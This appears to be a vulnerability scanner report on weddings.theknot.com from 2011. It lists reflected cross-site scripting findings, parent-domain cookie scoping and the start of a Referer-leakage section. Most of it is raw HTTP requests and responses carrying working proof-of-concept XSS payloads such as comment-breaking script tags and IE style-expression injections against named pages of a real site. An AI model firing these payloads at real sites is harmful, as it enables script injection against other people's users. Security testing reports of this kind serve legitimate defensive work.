The value of the wedding+details request parameter is copied into an HTML comment. The payload 10ec1-->2033813544e was submitted in the wedding+details parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx?type=3&wedding+details=Centerpieces10ec1-->2033813544e&Sort=KnotPicks& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:05 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135805163509; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135805163509; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 64979
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
2.9. http://weddings.theknot.com/Real-Weddings/reception-decor-and-reception/results.aspx [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b5fa7--><script>alert(1)</script>f9901ef1c16 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/reception-decor-and-reception/results.aspx?b5fa7--><script>alert(1)</script>f9901ef1c16=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:42 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135742166937; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135742166937; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 84435
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the wedding+details request parameter is copied into an HTML comment. The payload 2d24d-->255f02b8819 was submitted in the wedding+details parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Real-Weddings/reception-decor-and-reception/results.aspx?type=3&wedding+details=reception+decor%2creception2d24d-->255f02b8819&Sort=KnotPicks& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:13 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135812167756; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135812167756; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82969
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the wedding+details request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7e1c"style%3d"x%3aexpression(alert(1))"b418b7e1328 was submitted in the wedding+details parameter. This input was echoed as b7e1c"style="x:expression(alert(1))"b418b7e1328 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /Real-Weddings/reception-decor-and-reception/results.aspx?type=3&wedding+details=reception+decor%2creceptionb7e1c"style%3d"x%3aexpression(alert(1))"b418b7e1328&Sort=KnotPicks& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:56 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135755167205; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135755167205; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 84487
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of the TM request parameter is copied into an HTML comment. The payload 38fc3-->14ce1932e18 was submitted in the TM parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /Wedding-Invitations/results.aspx?type=23&TM=2338fc3-->14ce1932e18& HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:51 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135851168571; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135851168571; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Set-Cookie: SearchParameter=Parameters=; path=/ Set-Cookie: SearchParameter=Parameters=; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 168802
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2061b'style%3d'x%3aexpression(alert(1))'1033eb62f4 was submitted in the REST URL parameter 4. This input was echoed as 2061b'style='x:expression(alert(1))'1033eb62f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /odb/themes/Honeymoons/results.aspx2061b'style%3d'x%3aexpression(alert(1))'1033eb62f4?type=17&honeymoon_tags_2=Caribbean HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:59:07 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135907164735; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135907164735; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 79254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <HTML>
<head> <title>Honeymoon Travel: Caribbean from The Knot</titl ...[SNIP]... <a title='Go to page 2' href='http://weddings.theknot.com/odb/themes/honeymoons/results.aspx?type=16&2061b'style='x:expression(alert(1))'1033eb62f4?type=17&honeymoon_tags_2=Caribbean&pageindex=1'> ...[SNIP]...
2.14. http://weddings.theknot.com/odb/themes/Honeymoons/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://weddings.theknot.com
Path:
/odb/themes/Honeymoons/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 86e82--><script>alert(1)</script>02ac7a6b25e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /odb/themes/Honeymoons/results.aspx?86e82--><script>alert(1)</script>02ac7a6b25e=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:34 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135834163942; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135834163942; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 76643
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <HTML>
<head> <title>Honeymoon Travel from The Knot</title>
2.15. http://weddings.theknot.com/odb/themes/Honeymoons/results.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://weddings.theknot.com
Path:
/odb/themes/Honeymoons/results.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 14512'><script>alert(1)</script>dc65535e95a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /odb/themes/Honeymoons/results.aspx?14512'><script>alert(1)</script>dc65535e95a=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:32 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135832168359; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135832168359; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 76471
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <HTML>
<head> <title>Honeymoon Travel from The Knot</title>
<ST ...[SNIP]... <a title='Go to page 2' href='http://weddings.theknot.com/odb/themes/honeymoons/results.aspx?type=16&14512'><script>alert(1)</script>dc65535e95a=1&pageindex=1'> ...[SNIP]...
The value of the type request parameter is copied into an HTML comment. The payload a8ead-->4d940e0e2f6 was submitted in the type parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to can close the open HTML comment and return to a plain text context. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /odb/themes/Honeymoons/results.aspx?type=17a8ead-->4d940e0e2f6&honeymoon_tags_2=Caribbean HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:38 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135838163292; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135838163292; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75841
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <HTML>
<head> <title>Honeymoon Travel: Caribbean from The Knot</titl ...[SNIP]... pplications/ODB/TheKnot/honeymoons/results/title-slot&fieldkey=Content.Value&inheritance=BasePath&basepath=/sitecore/content/Home/Applications/ODB/TheKnot/honeymoons&options=STOPREDIRECTING%3dTRUE^%3d7a8ead-->4d940e0e2f6^honeymoon_tags_2%3dCaribbean --> ...[SNIP]...
2.17. http://weddings.theknot.com/checklist/default.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://weddings.theknot.com
Path:
/checklist/default.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 4d815<script>alert(1)</script>74d59b79346 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /checklist/default.aspx?4d815<script>alert(1)</script>74d59b79346=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><body>The requested resource was moved. It could be found here: <a href="http://planning.theknot.com/checklist/default.aspx?4d815<script>alert(1)</script>74d59b79346=1">http://planning.theknot.com/checklist/default.aspx?4d815<script>alert(1)</script>74d59b79346=1</a> ...[SNIP]...
2.18. http://weddings.theknot.com/checklist/default.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://weddings.theknot.com
Path:
/checklist/default.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4026b"><script>alert(1)</script>b4696731b62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /checklist/default.aspx?4026b"><script>alert(1)</script>b4696731b62=1 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<html><body>The requested resource was moved. It could be found here: <a href="http://planning.theknot.com/checklist/default.aspx?4026b"><script>alert(1)</script>b4696731b62=1">http://planning.theknot ...[SNIP]...
3. Cookie scoped to parent domainpreviousnext There are 14 instances of this issue:
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PWP/pwp2 HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Sun, 02 Jan 2011 13:57:53 GMT Content-Length: 160 Content-Type: text/html Location: http://weddings.theknot.com/PWP/pwp2/ Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135753167515; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT;
<head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="http://weddings.theknot.com/PWP/pwp2/">here</a></body>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PWP/pwp2/ HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /PWP/pwp2/savethedate/ HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/73399/view.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:26 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135726167762; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 880 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=view.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=view.asp ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/Bouquets/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:14 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135714166870; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/Cake/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:36 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135736159086; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/Centerpieces_Centerpieces/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:21 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135721165127; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Real-Weddings/reception-decor-and-reception/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 02 Jan 2011 13:57:18 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135718168151; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 886 Location: http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results.aspx
<html><body>The requested resource was moved. It could be found here: <a href="http://weddings.theknot.com/odb/processurl.aspx?ODBTHEMENAME=Real-Weddings&ODBTHEMENAME=realweddings&ODBPAGENAME=results. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /Wedding-Invitations/results.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 500 Internal Server Error Date: Sun, 02 Jan 2011 13:58:07 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135807159199; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135807159199; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 6030
<html> <head> <title>Object reference not set to an instance of an object.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /budgeter/default.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Sun, 02 Jan 2011 13:57:49 GMT Content-Length: 172 Content-Type: text/html Location: http://planning.theknot.com/budgeter/default.aspx Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135749162254; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT;
<head><title>Document Moved</title></head> <body><h1>Object Moved</h1>This document may be found <a HREF="http://planning.theknot.com/budgeter/default.aspx">here</a></body>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /myinnerbride/Default.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:58:14 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135814164426; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 25633
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pwp/landing/pwp_main.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pwp/pwp2/ChooseDesign.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pwp/pwp_offers.aspx HTTP/1.1 Host: weddings.theknot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 02 Jan 2011 13:57:52 GMT Server: Microsoft-IIS/6.0 segueKNOT: was here. box: 02 X-Powered-By: ASP.NET Set-Cookie: temp=T20110201135752167230; path=/; domain=theknot.com;expires=Fri 22-May-2020 13:00:00 GMT; X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=khyzeq45ekl1kd45iaisdq45; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 29036
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <html> <head> <title>Wedding Website - Free Wedding Websites - Personal Wedding Websites</title>
<meta name="title" content="Wedding ...[SNIP]...
4. Cross-domain Referer leakagepreviousnext There are 6 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
